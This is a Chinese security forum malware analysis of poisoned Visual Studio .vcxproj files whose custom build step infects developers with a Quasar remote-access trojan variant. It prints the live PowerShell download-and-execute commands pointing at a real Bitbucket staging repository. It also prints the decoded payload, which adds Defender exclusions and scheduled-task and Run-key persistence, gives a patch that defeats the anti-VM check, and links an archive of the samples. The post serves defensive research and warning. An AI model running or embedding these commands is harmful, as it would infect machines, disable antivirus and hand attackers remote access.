好友
阅读权限10
听众
最后登录1970-1-1
|
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子! 病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途! 禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 M3351AN 于 2026-1-15 06:24 编辑
在我们平常的认知中,似乎只有“可执行”文件,例如“程序”、“脚本”、"链接库“才有可能执行恶意代码,从而进行攻击,而源码本身,是”安全“的。
与此同时,VisualStudio作为Windows平台开发的主流IDE之一,大家也已经习惯于通过vs工程来组织项目了。vs工程本身,被视作源码的一部分,应当也是”安全“的。
但事实真的是如此吗?
本次的利用.vcxproj文件进行恶意攻击的例子,来自一个当前拥有超过700万用户的某知名游戏作弊论坛,直到攻击行为被发现时,已经攻击了数千台电脑。
攻击原理
这一系列攻击方式是在Visual Studio项目文件(.vcxproj)中嵌入编码后的恶意代码:当你在 Visual Studio 中打开并运行这个项目文件时,其中的恶意代码会自动执行,进而释放并运行恶意可执行文件。
这一系列恶意程序采用了完全相同的自定义构建步骤,该步骤会执行一条 PowerShell 命令。这条命令的作用是从一个代码托管平台仓库中下载并运行一个名为 steamwebhelper.exe 的文件,该仓库疑似被用作恶意程序的暂存服务器。
恶意代码如下:
[Shell] 纯文本查看 复制代码 Try { (New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/iiil/i/raw/I/steamwebhelper.exe', 'C:\ProgramData\steamwebhelper.exe') } Catch {}; Try { Start-Process -FilePath C:\ProgramData\steamwebhelper.exe -WorkingDirectory C:\ProgramData } Catch {}
该代码托管平台仓库多年来存在大量提交记录,频繁增删一些名称类似 Windows 系统文件或 Steam 客户端文件的恶意程序。
此前,这个 steamwebhelper.exe 文件曾以其他文件名(如 “DriverCP.exe”)被上传至病毒分析平台,对应的检测链接为:
virustotal.com/gui/file/3f10a886de3cc07db4dc3d7fb4ed75dc8221d77ebfa2c2d55230e4493a77278b?nocache=1
该代码托管平台仓库中还曾存放着其他可疑的二进制文件(如 “ethminer.exe”),对应的病毒分析平台检测链接为:
virustotal.com/gui/file/059dce2355fbf4478e046c6d728e532527025d443c265836d609be9eb6c9a9b6/detection
主恶意程序文件(steamwebhelper.exe)分析
该恶意程序内置了多种反动态分析与反静态分析机制。
它会以字节为单位拼接字符串,再将拼接后的字符串传入各类函数(如 ShellExecute 函数),这会生成体积异常庞大的函数,导致交互式反汇编器无法对其进行反编译。不过该程序未做代码混淆处理,因此通过调试器进行分析的难度相对较低。
程序中还包含多项反虚拟机检测机制。病毒分析平台的检测结果存在误导性,原因是该程序在虚拟机环境中运行时,会直接提前终止进程。其中一个检测机制由函数 sub_421070 实现,其原理似乎是通过休眠函数和系统时钟计数来判断运行环境。
我们可以通过补丁修改触发退出操作的条件分支,具体方法如下:
代码补丁位置:
[Asm] 纯文本查看 复制代码 RVA +3079: je, patch to jmp
完成补丁修改后,该程序就能在虚拟机环境中正常运行,并释放其核心恶意载荷。该载荷包含多条经过编码处理的 PowerShell 命令,具体内容如下:
[Shell] 纯文本查看 复制代码 <#1IQ2I#> Add-MpPreference -ExclusionPath 'C:\ProgramData\',$env:Temp -Force <#SrPPHsy#>
<#rssuqdsm#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc minute /mo 3 /rl highest /tn 'msdriverchecker' /tr '''C:\ProgramData\drivercp.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\ProgramData\drivercp.exe') -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 3)) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'msdriverchecker' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "msdriverchecker" /t REG_SZ /f /d 'C:\ProgramData\drivercp.exe' }
<#NkwJv#> $ASKM = [System.IO.Path]::GetTempPath() + '1aen4hog-x1cu-x9ji-pew-ijpad6facfnh.exe'; (New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/iiil/i/raw/I/nvcontainer.exe', <#QYiL#> $ASKM <#bUI#>) <#pKM#> <#TaBXA#>;<#3h#> Start-Process <#RJSdtN#> -FilePath <#jvUjE#><#E#> $ASKM <#OyZZVBO#> <#0aK#>
恶意载荷执行流程
该程序会创建一个名为msdriverchecker的计划任务,或在开机启动项注册表中添加对应条目,以此实现 drivercp.exe 文件的持久化运行。每当这个计划任务触发时,程序会从同一个代码托管平台仓库下载另一个恶意文件(nvcontainer.exe),并将其保存到系统临时目录中,文件名被伪装成随机的全球唯一标识符格式。
该文件的病毒分析平台检测链接为:
virustotal.com/gui/file/253e1d956d91354e56b376ba8f767d6b2dba00455e41f5b5a343adea9a8468d9/
经调试器分析确认,这是一个.NET 可执行文件,同时也是该恶意软件家族的核心载荷模块,属于Quasar远程访问木马的变种。此外,该文件还会创建一个名为Steam的计划任务,以此维持 steamwebhelper.exe 的持久化运行。
特征:此类用于恶意攻击的“源代码”均包含一个自定义构建步骤,该步骤会导致设备感染 Quasar远程访问木马的变种,以及可能的其他木马。
同时请注意,此类通过构建流程实现的恶意攻击不仅仅会影响Visual Studio项目,CMake的自定义构建流程也一样可能包含风险!!
总结
- 此类攻击利用项目文件自定义构建流程执行命令,隐蔽性极强
- 下载来自未知来源的任何文件,都需要仔细检查,即便看起来是“不太可能用于执行恶意攻击”的文件
附上原始恶意文件及代码托管平台仓库文件的备份压缩包用于分析研究,密码52pojie
https://m3351an.lanzoub.com/iqCD13g5rwaj |
免费评分
-
查看全部评分
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|
|